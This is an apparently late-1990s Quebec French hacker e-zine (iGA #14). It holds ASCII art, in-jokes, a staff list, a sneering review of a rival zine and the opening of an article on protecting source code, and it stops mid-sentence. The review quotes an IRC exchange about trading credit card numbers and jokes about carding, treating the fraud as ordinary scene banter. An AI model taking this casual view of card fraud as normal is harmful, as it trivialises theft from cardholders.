Copy Link
Add to Bookmark
Report
iLLeGAL Granted Access Issue 14
[ - i G A - e.zine i.ssue 14 : "Mais ou est bien pus passer le fucking IGA #13?" - ]
[ ]
[ - Minimum Requirements for reading IGA Ezines: ]
[ ]
[ - new Athlon k7-500 with 256 megs pc-100 sdram ]
[ - OpenGL 1.2 compliant 3D accelerator card with on-board Geometry ]
[ - At least, 8 gigabytes of HD space left, preferably on a RAID array ]
[ - 28" Energy-Saver Monitor (PNP) ]
[ - SB LIVE 256 [to listen to the secret messages inside] ]
.------ ---------------- -------.
| i |
| - ------
| .-----.
| .-` `--.
: | .` \
; | / .
: ; /\ |
| / /\ / \
| | | \ .--------.
| | | / \//// .--' / \
| \ //// .-` /\ `
| | `. _ _/ /\ \ / \/ \
| ; \ \ / | \/ \.-```\ \
| \ \ / | . \ .-` \ \
; : `--.__ ____\ / / / \ \ / ( )\
| ; \__| \_./ / | \/ __ /\______/ /\____
| | /` . /\ | ) .--'` \ / `.
`--- -------- ------------- -----' /-`-`-`-'/ | | / `.____.' `\
`./\/\/\/ | ; /\ / \
.--- ------------ --------- ----. /\ / / \ \ / \ . / |
| | /\ /\/\/ \// / |\ | i G +\ |/ / |
| --- ----- | | | | .' / | \| | / |
| | /\_`-'`-.--' / | / \/ |
| ___ ___ | / ````` .-` | | | |
| | | ; . .-` | | | |
| | ;________ __| / .-` | / \ |
| | `. .-` /_/_______________ \ \
| \.-` | : | |----------'\__\
; ; |/ | | : /
| |_____ ________ ____ | |__| | /
| | | | / \ /
| | | | ; | |
| | | ) ; |
| | | | ____\ /_____ \
| |_ __ ___ | (_________/______\/______\_______)
: |
; :
| ;
| |
|______ _____________ _______ ___|
.------ --------------- --------.
| a | .--------. .--------.
| ------ -- / | .-----. | |
| / | | | | |
| .--. | / | | | | |
; | | ; /___ | | | | |
| ; | | | | | | | |
| | | | | | | | | |
| |_ | | | q | | |___| |_____
| | /iga/ | u | | | | |
| | .=======| a |=====| | | |====.
_ | `=======| t |=====|_________| |_____|====`
| ; | | `=======| o |===============| |==========`
| | | : '=======| r |===============| |==========.
| | | ; `=======| z |===============| |=========='
; | | | | e | | |
| | ; | | | monthly | | ezine 14
`-------- ---' | | | | | |
------- -----. | | __| |__ | |
| | | | |______________| |________|
`-------------' `--- ------ ----'
Retard Chronique
he oui, votre IGA est encore en retard, raison? en bien jen ai lister
quelque une,
1) on est pas payer pour faire IGA, tk pas encore :]
2) on est lache
3) on recommence a structurer le crew
4) on pourrais en sortir 1 par semaine comme QHA, mais on prefere avoir un
ezine de qualiter :]
5) le status voter par le staff IGA nous oblige de prendre une pause biere
de 30 minutes apres chaque tranche de 10 minutes sur le zine ...
===================================================================================================
Pub-O-sticker
.-.-.-.-.-.-.-.
/ _____ /| IGA Ezines are 100% fully powered by
/ /____/ / | __ _ ___ _____ ____ ____ ___ ___
/ /_ | | \| | |_ _| __| , | | \
/ /__ | | \ | o | | | | __| __| ` | |) |
/ /___ | |__\__|___| |_| |____|_| |_|_|___/
/_____________/____ | w i n d o w s 98 edition
| ___________ |
| ___________ | Kopyright(R) Ms-Evilempire Corp.
|_____________|
===================================================================================================
.-````````-. ___ __ __ __
/ . '' \ | \ , | | | | |
( ' | ) | \ |__| ; | |__,
_| `____|____' |_ : \ __ ____ ____| |___ __ __ __
\ \ `=-' `-=' / / --| |\ | | _; _| | | | \/ |-- --- - - -
\ /_____`_____\/ ; |_\ : |_ | |_| ; . | | |\/| :
((\._.___._./)) |____+_|+_|__+_|__+_|+_|_|_:__|_| |_|
| \ _ _ _ / | ------- ----------------- -------------- ----- - - -
\ \/_`_`_\/ /
\ /
`-------'
| | Hi readers, vous remarquerez du premier coup d'oeil que ,
| D | le e-zine est graphiquement parlant plus remplis que les . :
| derniers magazines, allez savoir pourquoi, __2 est de retour `
| i | askee art. A defaut de nous lires, il vont nous regardez dit-il. ,
; | Nous profitons de se disclaimer pour vous savoir que NON on est , ;
; S ; pas mort, quelque peu souffrant oui, mais pas mort. Si le site :
; ; web ressemble plus a un ftp directory qu'a une page web c'est :
: C ; qu'on a pas toujours le temps de refaire le site et surtout que : :
: : pour cette fois-ci on vise pas mal plus haut que le dernier :)
L : Donc patience, ce n'est encore qu'une question d'annees ;] ;
: ; ;
, A , Quand a se magazine, bien accrochez-vous a quelque part, car ; ;
, des maintenant il contient plus de saveur, ca vous en fait plus ;
. i a gouter. On ne vous dit pas se qu'il contient car la liste est |
2 pages plus bas c'est tout :). Si vous lisez ceci c'est bien ; |
M . qu'on existe encore, donc sur ca passons au contenu :) |
: mais avant faut bien vous lires les regles (boring) | ;
` |
` | |
|
| |
Regles a suivre: | |
| |
- Hacker c'est mal, surtout selon la loi, alors si vous | |
le faite, sentez pas le besoin de le criez sur tout les | |
toits (toits defini IRC pour pas mal de monde) | |
- On est pas responsable de se qu'on vous apprend. Et oui | |
on vous fait le coup de la femme enceinte qui fume pendant | |
sa grosesse. Je pense que depuis longtemps tout le monde le |
sais qu'on est pas responsable pour une cenne anyway.
| |
- C'est frequent , on sait pas trop pourquoi mais certaines | |
bestioles aiment bien se faire passer pour IGA parce que ca |
flash. S.v.p , jai rien contre le fait que vous nous |
supportiez mais faites pas se que nous meme nous ne ferions. | |
Et si dans le cas advenant, mettez donc votre nick :)
- Toute reproduction sur papier, vocalement , encadrer ou | |
laminé du mag est illegale sans notre concentement. C'est |
pas mal normal. Ca nous permet de voir qui est aussi | |
crinquer que nous. | |
|
- Ne lisez pas ce ezine a l'envers, y a aucun message | |
subliminaux. !rialc utS | |
.-```````-.
Voici , fini les formalités, next step. / . ''\
( ' | )
_| `____|____' |_
---- ------- ------------- ----------------- ------- \ \ `=-' `-=' / /
__ ____ ____ _ _ ____ \/_____`_____\/
|+ |+ _|+ _|+| |+ _| ((\._.___._./))
- -- --- | |_ |_ | | | _|-- =-- =--- -- -- | \ _ _ _ / |
|__|____|____|___|____| \ \/_`_`_\/ /
\ /
IGA STAFF `-------'
Quebec Staff
__2: coding,redaction,marketing
Qwzykx electronic,redaction,philosophie
Wyzeman coding,redaction,philosophie, marketing
Bozzo reseau,mac,marketing
Qderf coding,bunch of knowledge
Montreal Staff
Cubic redaction
Synoptic redaction,linux
rew_ redaction,linux
Rimouski Staff
[XdCC] hosting,support
Vous pouvez venir nous voir sur #IGA, Reseau Undernet et Dalnet.
Vous pouvez nous e-mailer au I_G_A@hotmail.com
vous pouvez venir vous saouler avec nous tout les vendredi soir au Kamarad
===================================================================================================
Pub-O-sticker
Qwzykx aurait une requete a passer a quelquun en particulier:
Si par un fortuit hasard, le gars dans l'fond de l'aile droite du centre psycatrique, OUI toi le
skizo, tu pourrais arretez de te branler apres 11h ca serait sympatique, j'aimerais ca pouvoir
dormir en paix. Non mais quand-meme ...
===================================================================================================
.-````````-. _________ __
/ . '' \ | | | |
( ' | ) | | ;__|
_| `____|____' |_ :__ __:______ __ _______
\ \ `=-' `-=' / / -----| | | ; | _| _|- ------- ------- -- - --
\ /_____`_____\/ | | . | . | | |_|_ |
((\._.___._./)) |_+_|____| _|_+|__+|__+|
| \ _ _ _ / | ------- ------|__|----------- -------------- ----- - - -
\ \/_`_`_\/ /
\ / Miam,miam regardons se qui a de bon dans cette pizza pochette
`-------' electronique se mois-ci.
| | ,
| D | . :
| [001] llama of 012 __2 `
| i | [002] J'ai poster ma deposition MR'l'juge Qwzykx ,
; | [003] C le dernier jvous le promet Wyzeman , ;
; S ; [004] C pas si sur que ca =) Qwzykx :
; ; [005] Socket ouvre toi Cubic :
: C ; [006] Mac est dans windows maridon donder __2 : :
: : [007] apocalypse now Qderf
L : [008] le bug de lhumaniter Qwzykx ;
: [009] Je suis un pingouin Synoptic ; ;
, A , [010] pas beau pas bon pas chere Wyzeman ; ;
, [011] VB stryke again __2 ;
. i [012] Win2k boot-o-rama Qderf |
[013] Rond Carre triangle, a pi dla marde Wyzeman ; |
M . [014] jmet dlelium dans ton pc Rew_ |
: [015] Bomb-O-thon Qwzykx | ;
` [016] c nowel car il neige dans mon socket Wyzeman | |
[017] dump ass info-pub I_G_A
.-```````-.
/ . ''\
( ' | )
_| `____|____' |_
---- ------- ------------- ----------------- ------- \ \ `=-' `-=' / /
__ ____ ____ _ _ ____ \/_____`_____\/
|+ |+ _|+ _|+| |+ _| ((\._.___._./))
- -- --- | |_ |_ | | | _|-- --= - =--- -- -- | \ _ _ _ / |
|__|____|____|___|____| \ \/_`_`_\/ /
\ /
`-------'
===================================================================================================
Pub-O-sticker
<__2> Qwzykx : Chu ben desoler pour toi, mais j'va faire ski me tente, 11h ou pas.
===================================================================================================
la GRC vous surveilles???
10 truc pour les decouvrirs.
1) apres la parution de votre 14e E-zine ya une echafaudage
pour nettoyer vos vitre alors que vous demeurer au sous-sol
2) apres la parution de votre 14e E-zine, Un technitien vien
verifier votre telephone et y insert un micro.
3) apres la parution de votre 14e E-zine, Un plombier vient
verifier le PH de votre eau de toillette.
4) apres la parution de votre 14e E-zine, vous appercevez une
caravane avec une skin de truck de poubelle venir fouillez
vos dechet quotidien.
5) apres la parution de votre 14e E-zine, des temoins jehova
se presente a votre porte a tout les 10 min.
6) apres la parution de votre 14e E-zine, le bar dans lequelle
vous allez toujours veillez est maintenant vide mi a par le
type au lunette fumer assis dans le fond.
7) apres la parution de votre 14e E-zine, on construit un dunken
donut a coter de chez vous.
8) apres la parution de votre 14e E-zine, on fait un gros champs
de construction deriere chez vous ou tout les travailleurs
porte un skin de veston cravate.
9) pendant la redaction de ce 14e E-Zine, ya 2 gros policier
poilu qui se presente a votre porte avec des menotes.
10) pendant le mois suivant la sortie du iga #14, l'ange assis sur
le sapin est habiller en bleu et porte une paire de menote
===================================================================================================
Pub-O-sticker
<Baggy> Hacking is like girls.....when you find hole you have to exploit it.
===================================================================================================
,---------------------------------------------------------------------------------,
| [001] |
| Review of 912 #3 |
: so called :
; le gorille qui avait des broches :
, .
.
:
88888888888
8888888888888 __________
/\ 888888' `88888 /\ | |
//\\.`---------.___.---------'.//\\ | |
` \| |---| |/ ' | . |
| (( o | | o )) | |____ |
`----------' `---------' | |
\ ( (.) ) / | |
\/\ /\/ |_____|
\ \___/ /
\ / __________
/ `...' \ | |
//| we |\\ |____ |
// | lead| \\ _| |_
/ \ | the | / \ |_________|
\./ |world| \./
|_____| __________
| |_| | | |
| | | | |____ |
|_| |_| / /
(__| |__) / /
/ /__
review of 912 by __2 |_________|
Et oui, 912 vient de gagner le gros lot, __2 decide d'y apposer
la pate et du meme coup creer un article sans precedent ;) On se
rapelle un vague UHA. Bien voila, cette article est en fait
un article a represailles a but offensif. J'ai dernierement lu
le 912 #003, en fait j'ai pas tout lus, car peut de choses sont
vraiment interessantes et enclin a vouloir a tout pris vous donnez
mon opinion sur ce groupe et de vous avisez du caractere tantot
comique maintenant nefaste de son contenu j'ai realiser se cour
article. Qui n'aime pas ses bonnes vieilles guerres ouvertes apres
tout?
On va donc analyser en grand et en large le #3 , tous ensemble.
Donc le produit X(qui est ici le magazine 912 #3) nous promettais
ceci:
-----------------------------------------------------------------------
.-------------------------------------------------------------.
||;' _________ ___ ________ ___ ___ _____ ';||
|;. . . / | . . . . . . . ; .;|
;. | | |_| | | | | | | | | | ; .;
; | 0o | | | | | | | | | | | | ;
; | o0 | | | .___. / | .___. | | | ;
; ._____ | | | / / | ___ | | 0o | ;
; .-. | | | | / / __ | . . | | o0 | ;
; | .___. | | | / / | | | | | | | 0o | ;
; | | | | | |_| | | | | | | ; ;
; .________. .__. ._______./ .___. .___. ._____; ;
; _ _ _ ____ ___ _ _ _ _ ____ _____ ;
; | | | |_| | / o | | _| | |/ / | | | ^ | | | ;
; | | | _ | / _ | | |_ | -< | | | | | |o0 | ;
; | | |_| |_|/__| |_| |___| |_|\_\ |_| |__|___| |___ | ;
; | |_______________________________________________| | ;
; | DEPARTEMENT | ;
; ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ;
; Ezine 003 Novembre 1999 ;
; ______________________________________ ;
; / \ ;
; / Table Des Matières \ ;
; -----/ \------ ;
; 3x00] [I]ntroduction wzGATE ;
; 3x01] [D]isclaimer wzGATE ;
; 3x02] [F]renquently [R]eceived [E]mail wzGATE ;
; 3x03] [A]rggggggggg (encore du chialage) Pres_Who ;
; 3x04] [L]eçon d'[H]ypnose Moebius ;
; 3x05] [T]cp/[I]p 1/3 Kh3ops ;
; 3x06] [F]uck [T]hat FalConZ ;
; 3x07] [C]omment [F]aire [D]e [L]'alcool Kherô-Zen;
; 3x08] [T]he [M]rx- [P]roject MrX ;
; 3x09] [M]illenium [P]hreak [F]est Ribbon ;
; 3x0A] [E].[S].[N]. [N]umbers wzGATE ;
; 3x0B] [O]rdi-[C]ash Cortax ;
; 3x0C] [C]arding wzGATE ;
; 3x0D] [L]a [S]écurité [S]ous [W]in [N]T Wingaman ;
; 3x0E] [912] [W]orld [N]ews Klauss ;
; -----\__________________________________________/------ ;
; ;
; ______ _____________________________ ;
;. 912HD | | www.hackingdepartement.com .;
|;. 003 | | 912hd@caramail.com .;|
||;_________________________________________________________;||
._____________________________________________________________.
Bon deja ils ont un point, le ascii se cut-paste mieux que ceux de
feu-frhack :) Mais jetons plutot un regard approfondis sur le contenu
(jen connais ici qui me voyais venir et dans un dernier souffle essayais
de retenir le plus longtemps possible l'objet de se texte afin de ne
jamais y arriver).
_____________________________________________________________
; 3x00] [I]ntroduction wzGATE ;
`````````````````````````````````````````````````````````````
Bienvenue chers lecteur dans le merveilleux monde du notepad,
la ou l'on ecrit librement l'information que vous allez pour
la plupart assimilée d'ici les prochaines heures. Au courant
des lignes qui suivent, ces lignes renferment le résultat de
un mois complet de travail et d'apprentissage. Voilà sur quoi
repose l'avantage d'être une grosse équipe. Plus on a une
grosse équipe et plus l'information arrive rapidement. Pour
notre part, nous n'avons pas une très grosse équipe mais elle
s'agrandit quand même assez vite.Donc on peut parier que plus
les Ezines vont sortir et plus il y aura d'information a
chaque fois. Si vous voulez participer à nos zines, je vous
répête encore une fois que vous êtes les bienvenue.
--- WzGATE aurait-il ete a la meme ecole de d'intro fast-food
que Wyzeman? C'est a se meprendre. Vous savez , l'impression
que ca l'air interresant et bien foutu. Juste avant le contenu
reel qui nous decois plus souvent qu'autrement.
Mais bon, on aurait pus voir pire, on aurait pus voir la
naissance prequaire d'un vrai groupe de hacking, mais no sight.
_____________________________________________________________
; 3x00] [D]isclaim wzGATE ;
`````````````````````````````````````````````````````````````
4- Tout ceux qui liront ce Ezine accumulerons une dette de 1
pichet de bière au kamarad envers wzGATE.
--- On amene un kid dans un bar ou il sait qu'il n'a aucune
chance de se faire carter et paf on se fait voler nos idees.
Bon jusqu'ici, il faut l'avouer c'etait sans aucun doute
plutot une bataille d'opinions. Maintenant passons au dit
"contenu".
_____________________________________________________________
; 3x02] [F]renquently [R]eceived [E]mail wzGATE ;
`````````````````````````````````````````````````````````````
_________________________________ ____
| ____ ____ ____ | __(____)
|| | | | | | |---------|| (o | ???????
|| p| | p| | p| | MailBox || /_ | < ???????
||____| |____| |____| | _____ || |_ | ???????
| ____ ____ ____ | |_____| || __| |__
|| | | | | | | || ! ___| |___ !
|| p| | p| | p| |_________|| B|_____| |_____|B
||____| |____| |____| | || | |
| ____ ____ ____ | || |_____|
|| | | | | | | || / _ \
|| p| | p| | p| | p || / / \ \
||____| |____| |____| |_________|| | | | |
|--------------------------------| c|_| |_|c
(___| |___)
ps: ca fallais jle mette, ca me rapelle mes debuts en TheDRAW,
quand je fesais tout mon design en Rainbow-Rounded Fonts.
---
Le titre en dit beaucoup, si on comprend bien , on s'appercoit
qu'il s'y cache un grotesque jeux de mot.
quoted from 912#003:
Comme je vous ai déjà présenter cet article dans
l'introduction, commençons d'abord par les questions qui
m'on été envoyées paremail.
---
Lets Go Wzgate, tu pourrais simplement dire, voici les mails
que nous avons pus ramasser en 3 mois , ca aurait mieux parus.
Anyway il y a des choses que tout le monde sait, comme comment
grossir son mag en ajoutant des mails. Taurais pus en profiter
pour ajouter les headers incognitos, et mettre 2-3 files en
attach MIME64 :)
Moi j'invente la technique "past other ezines inside" qui est a
mon avis plus valorisantes. Bon a la toute fin de la section,
WZGATE (en passant c'est lui dans le logo du debut :)) rend
de facon humble le mot-de-passe du site www.q-h-a.com. Combien
ici pense que 912 a hacker de facon complexe et elite www.q-h-a.com ?
Il ne faut pas perdre de vue que ce n'est qu'un URL Web. Et encore
moins qu'il ne s'agissent que d'un REDIRECT. Si par exemple demain
matin j'enregistre Come.to/eleete qui pointe sur mon site, comment
compliquer pensez-vous que ca soit d'envoyez une lettre a come.to
pour dire que mon site web a demenager a www.hackingdepartment.com ? :}
_____________________________________________________________
; 3x02] ARRRRRRGGGGGGGGgggggggggg Pres_who ;
`````````````````````````````````````````````````````````````
quoted:
Suite a mes derniere heure vecu avec les etron de video etron
je n'est pu m'empecher de dire mon opignion sur cette gang de
moron ki connaise rien mais rien a l'informatique alors ...
---
On pourrait casiment utiliser ca contre lui , sans aucun
chagrins.
44 sacres/jurons/impolitesses ont ete répertorier dans son
torchon(article)
219 mots incomprenhisbles ont ete répertorier dans son
torchon(torchon).
Preface:
Un ptit kid veut allez sur irc pis flooder plus vite
alors il croit qu'avec un modemcable il va pouvoir
flooder 100 fois plus comme si le ratio c'etait client
side :) Ou encore il veut allez plus vite pour downloader
plus vite du stuff qui ne fonctionnera pas sur son 486.
On peut voir qu'il est en modit contre le service, qu'il
pourra pas se faire rembourser et qu'anyway on sen sacre
son pere paye toute ca.
Je sais pas si vous etes de mon avis mais vous avez deja vu
Pres_who dire quelque chose qui se tiens? Dans le sens un
opinion qui est a lui sans etre completement stupide? Je doute
fort du jour ou cela va se produire. Voici quelques exemples
typiques:
"Le lendemin matin je ouvre mon winamps et ben pu de son
internet va bien fait plaint de test et je tombe malade peu
pu aller a lecole :) tk je me retrouve si po a etre oubliger
de reparer mon ordi. je decide de faire une operation a coeur
ouvert... enleve ma carte de son et pis je me rend ti po
conte ke le gars de menchomedi a fais saute ma carte de
son/modem(sa meme carte) clap clap clap clap clap. sa c fort
faire sauter une carte en windose. jaurai compris sa aurai
ete sous unix ou un serveur NetWare mais linux c pissant.Donc
je check dans le ti-boutin ke les police utilise pour nous
taper dessus kan on est po fin. et je trouve le # de losserm-
edia."
Bon avant de lire ca, on va le traduire en francais:
"Le lendemain matin, j'ouvre mon WinAmp et je m'appercois que je
n'ai plus de son, 10 minutes plus tard je m'interroge sur l'utilisation
du bouton POWER de mes caisses de sons. Mon internet va bien, je fais
plein de test avec mon trousseau 7thsphere. J'aurais du tomber malade
pour pouvoir rester sur Internet et pas allez a l'ecole mais chez-nous
ma mere fait tellement pas de suivi sur ma personne(on comprend maintenant
le resultat) que j'va faire comme d'habitude. Donc , maudine j'va etre
obliger de reparer mon ordinateur. Je commence par aller fermer les
breakers dans l'appart et j'apelle mon cousin pour qu'il mouvre le
boitier, j'ai quand meme peur de faire sauter mon ordi avec la
statique. Surtout que je dors dans des draps santés. Une fois le boitier
ouvert ( a laide d'un marteau ) je me rend compte que mon tournevis
a legerement perforer ma carte de son qui est en fait une carte
VOICE MODEM. J'applaudis et je met ca sur la faute d'une compagnie
locale d'installation de modemcable. Il faut pas etre fort pour que
cela arrive sous windows [meme eteint], j'aurais pus comprendre si
cela aurait arriver sous linux ou un serveur MS-DOS. Mais Linux
quand meme, on sait jamais avec redhat6. Alors je check dans l'annuaire
et aider de mon cousin je fini par trouver le numero du 411 et ainsi
je deniche le numero de la compagnie."
Ca fait tjours du bien de corriger et de decoder son language, ca
devient plus lisible. Ici se qui est le plus desopilant c'est la
question hardware de son probleme. Comme si un OS peut briser une
carte de son. Je doute fortement que dans son cas a lui ce fut
plutot un VOICE MODEM, au derniere nouvelles un voice modem ne
permet pas le playback de mp3.
Une derniere exemple? (Faut pas sattarder non plus, ca finira pus)
quoted -
"japelle pour parler au gars ki est vnu che nous.JAI RIE
DE LUI PIS I MA RACROCHER AU NEZ LE MAUDINE. "
---
Vous en connaisez beaucoup vous du monde qui vont dire:
"Merci monsieur, veuillez continuer cela me plait" ?
Autant les USA ne deal pas avec les terroristes que les
petites compagnies ne deals pas avec les parfaits imbeciles...
_____________________________________________________________
; 3x04] [L]eçon d'[H]ypnose Moebius ;
``````````````````````````````````````````````````````````````
quoted:---
_[Re-exemple: celui d'un de hacker]:
.Comme on vient de le dire vous êtes un hacker et puis
vous vous faites buster malgré toute les précautions que
vous aviez prise.
--- Un hacker va perdre son temps a lire ca? JE crois pas.
_____________________________________________________________
; 3x06] [F]uck [T]hat FalConZ ;
`````````````````````````````````````````````````````````````
quoted---
Ceci n'est pas un nouvel article sur le hacking, vu que j'y
connais rien (pas encore!). Je vais plutot vous parler de
l'underworld en général. Et de ce qui risque de vous arriver
si vous vous faites buster. Je parle par expérience ayant
deja été deux fois en prison (Héhé) Pourquoi? Trafic
d'héroine! Combien de temps? La 1° fois 5 mois et la 2°
14 mois. Vous allez me dire c pas beaucoup mais ça m'a
suffit merci! Avant je ne m'intéressais pas aux ordinateurs
jusqu'à ce qu'un pote en taule m'explique toute les belles
choses que l'on peut faire avec un pc comme le carding par
exemple héhé . Depuis je suis passionné ! Comme par
enchantement héhé. Bon passons aux choses sérieuses. La
première chose quand vous vous faites buster: ne dites pas
un mot. Vous devez vous dire : bien sur c pas dur.
---
Le mec a ete en prison pour vente d'heroine, disons donc les
choses comme elles sont, le mec a 15 ans et il a fait 3 mois
en centre parce que la DPJ a ete aviser par son ecole de son
reseau de vente de stupefiant, quand on parle de stupefiant on
parle de marihuana biensur. Le trafic d'heroine n'entraine que
5 mois de detention ? Il y a quelque chose qui cloche je crois.
Il est fiere de son exploit le petit, mais il a compris selon
ses dires. Il a compris quoi? peu a mon avis. Oh non ici cest
le cas typique de l'erreur humaine. Quelquun lui a dit que sur
son MAC il pouvait s'autocarder sa propre carte de credit.
Biensur a notre plus grand malheur il est passioner, zzzzzz.
Se faire buster cest pas dure? Moi je crois qu'avant quon se
mette a vous jugez comme etant un enemi de la societé vous allez
devoir en faire du carding...
_____________________________________________________________
; 3x07] L'alcool maison FalConZ ;
`````````````````````````````````````````````````````````````
Le mec a vu son pere faire son propre vin, il a passer une soiree
au bunker(squat) a montreal et le voici maintenant de retour en
tant que grand-distilleur.... La farce est omnipresente.
_____________________________________________________________
; 3x08] The MRX Project MrX ;
`````````````````````````````````````````````````````````````
Son article serait plutot un "how to arouse some lifetypes".
Le gars en gros se prend pour Nietchz et nous fait avalez que
le soir il relis ses logs de discution pour mieux en apprendre
sur ses compagnons de jeux. Faut dire que relire ses logs y
faut etre moyennement timbrer et a chaque soir on en parle meme
pus. C'est dailleurs le meme gars qui nous croyais de la GRC,
nous IGA. On doit surement le prendre comme un compliment surtout
venant de lui. Ce fut de loint l'article qui ma fait le plus rire.
Il est comique de voir le resultat d'une personne qu'on place
plus que 2h devant un ordinateur avec notepad d'ouvert. Il a
reinventer le monde a lui tout seule. Il ne faut pas oublier
que grace a lui le social enginering vient d'etre decouvert.
Comme si ce millieu aurait besoin de quelquun pour se l'enseigner.
Quand a moi le social enginering fiterais plus avec le slogan de
microsoft: "Jusquou seriez vous pres a allez".
_____________________________________________________________
; 3x09] The millenium Freak Fest Ribbon ;
`````````````````````````````````````````````````````````````
quoted---
Quesque c'est que ce Millenium Phreak Fest???
Eh bien, le millenium phreak fest s'est une idée comme une
autres de 912HD afin de faire bouger un peu la scène qui
semble enfin se réveillée.
---
REPONSE: On va faire des coups de telephone full hot entre
kiddies pis on va rire de notre voix ouhahahahahah
Si ca stun projet et non pas une blague, j'aime mieux pas
en savoir plus sur tout les autres projets.
_____________________________________________________________
; 3x10] ESN listing wzgate ;
`````````````````````````````````````````````````````````````
Il vous donne un information... ...que vous ne pourrez pas utiliser
_____________________________________________________________
; 3x11] Comment fourrer le peuple CorTax ;
`````````````````````````````````````````````````````````````
Je crois que ta reinventer l'art de la vente des ordinateurs,
notre ami Cortax travaille justement pour une compagnie de vente
en informatique. Bizarre mais son texte vient de me donner le
gout de commander mon ordi d'un autre vendeur :) CorTax on ten
veux pas, je suis sure que ta methode est utiliser par tout
le monde. On a juste a penser a Info-click.
_____________________________________________________________
; 3x12] CC again, y a juste ca qui existe, oui oui WzGate;
`````````````````````````````````````````````````````````````
Quoted:---
Session Start: Wed Nov 03 18:31:56 1999
[18:31] Session Ident: CracKeR23 (~UGOD@as10-3.brunet.bn)
[18:31] <CracKeR23> do u have a cc??
*J'arrive à peine sur le canal et déjà une fauve tente de
*m'extorquer des CC
[18:32] <wzGATE> yeah
[18:32] <CracKeR23> do u wanna trade??
[18:32] <wzGATE> what do u have
[18:32] <CracKeR23> mc
[18:33] <wzGATE> hum McDO?
*hehehe
[18:33] <CracKeR23> master card
[18:33] <wzGATE> why do u want to trade CC for CC?
[18:34] <CracKeR23> i want visa
[18:34] <wzGATE> why?
[18:34] <CracKeR23> cause i need to use visa
[18:34] <wzGATE> why?
[18:34] <wzGATE> why dont u use mc
*Le gars à déjà une mastercard mais il veut une visa...
*scuse mais ya de quoi de louche!
[18:35] <CracKeR23> it doesn';t accept mc
[18:35] <wzGATE> cause your MC isn't valid
[18:35] <wzGATE> stupid dumb asss
*Voila... le chat sort du sac c'est vraiement un cave
---
En passant comme ca, Visa passe pas partout, MC non plus.
Messemble que si on voit ca comme ca, le mec a raison non ?
Bravo a WzGATE qui juge si bien les gens. Il viens encore
de manquer la chance davoir lair brillant.
Sur ca moi jen ai pris pour au moins 3 lavements de l'estomac
a lire et decrire se magazine. Jespere que le jour ou vous aurez
a comprendre ou vous interesser a linformatique vous ferez un
meilleur choix.
***************************************************************
* *
* $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ *
* $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ *
* $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ *
* $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ *
* $$$$$$$P *$$$* $$F "$$ $ $$ *$$$$$$$$$$$ *
* $$$$$$$ $ $ $$ $F $$ $ $$ $ $$$$$$$$$$$ *
* $$$$$$$ $ $$$ $$ee$ $$ $ $$ $ $$$$$$$$$$$ *
* $$$$$$$ $ $$$ $$$$$ .$$ $$ $ $$$$$$$$$$$ *
* $$$$$$$b . $$$ $$$F .$$$ $ $$ $ $$$$$$$$$$$ *
* $$$$$$$***$ $$$ $$P .$$$$ $ $$ $ $$$$$$$$$$$ *
* $$$$$$$r * .$$$ $$ $$ $ $$ $$$$$$$$$$$ *
* $$$$$$$$be.zd$$$$eee$$eeeeee$$eee$eee$$eeeeed$$$$$$$$$$$$ *
* $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ *
* $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ *
* $$$$$$$ No more Issue, plZ! $$$$$$$$$$$$$$$$$$$$$$$$$$$ *
* $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ *
* *
***************************************************************
* *
* 912 Hacking Departement © 1999 *
* *
***************************************************************
ps: un (C) qui nest pas un vrai (C) cest de la fraude selon une
certaine charte des lois.
;
' .
: ;
: '
; __2 :
| :
|_________________________________________________________________________________|
===================================================================================================
Pub-O-sticker
<Wyzeman> J'regardais ca l'autre jour au centre video, les posters d'explosion
atomic, ca doit pas etre full populaire au japon.
===================================================================================================
,---------------------------------------------------------------------------------,
| [002] |
| copyright |
: so called :
; le facteur qui vien de loin :
, .
.
:
This article is Ripping-proof.
(.
(, )
( .)
__)
| _|_____
|/\ \
/ \ \
/____\______\
| _ __ |
| | | | | | <- Un serveur vu par Qwyzkx
| | | |__| |
_|_|_|______|__
Comme plusieurs membres haut placer de la pseudo-scene du Hack
se sont plein du manque de contenu technique des zines iGA,
j'ai crus bon vous parler de chose légale pour une fois. Car
apres tout,la différance est bien mince entre ces deux extrème
on à qua voir le monde dire qu'on est un zine de hacker et non
un advisory pour les admins reseaux et bien laisser moi vous
faire mention d'un fait troublant, le hacker cherche à rentrer
tandis que le admin chercehe à pas laisser de porte ouverte.
[__2] : "ARRRRRRRRRGGGGGGGGGGGG JVIENS DE TOUTE COMPRENDREEE!!
sti chu cave, stai ca le hacking!!!!"
Ce n'est qu'une question de porte comme vous pouvez le
constater. Le "Hacker" cherchera de nouveaux outils afin de
percer la porte de la maison de notre Admin,tandisque celui-ci
si il connais les techniques que notre amis le méchant Hacker
fera afin de dévisser ca porte patio-passe-asortit saura qu'il
vaut mieux mettre des des bars de metals ou de s'acheter un
doberman afin d'assurer ces biens matériel. Donc vous à la
suite de ces explications vous constaterer que peut importe du
cote ou vous pretender être, l'excuse est vaine!
Et sur cette idée de légalité total auquel à droit chaques nord
Américains, dans ce texte, il sera question de sauvegarde de
vos fichiers, et plus explicitement de votre code source.
Donc, si vous coder un programme qui vas révolutionner
l'industrie de la livraison de bananes à domicile, vous serez
surement tenter d'aller faire Enregistrer votre code source
afin d'avoir un certain brevet sur celui-ci. Mais voila, comme
ce type de procéder est un peu couteux(ne seraise que pour ce
rendre au burreau d'administration) deplus que votre copie
lociciel se discute mal en cours. Je vous suggère donc la
méthode suivante.
[1st Step :]
Votre code source étant terminé, faite le imprimer afin de
possèder une preuve matériel de votre programme. Ensuite
glisser ces belles pages à l'intérieur d'une belle envloppe
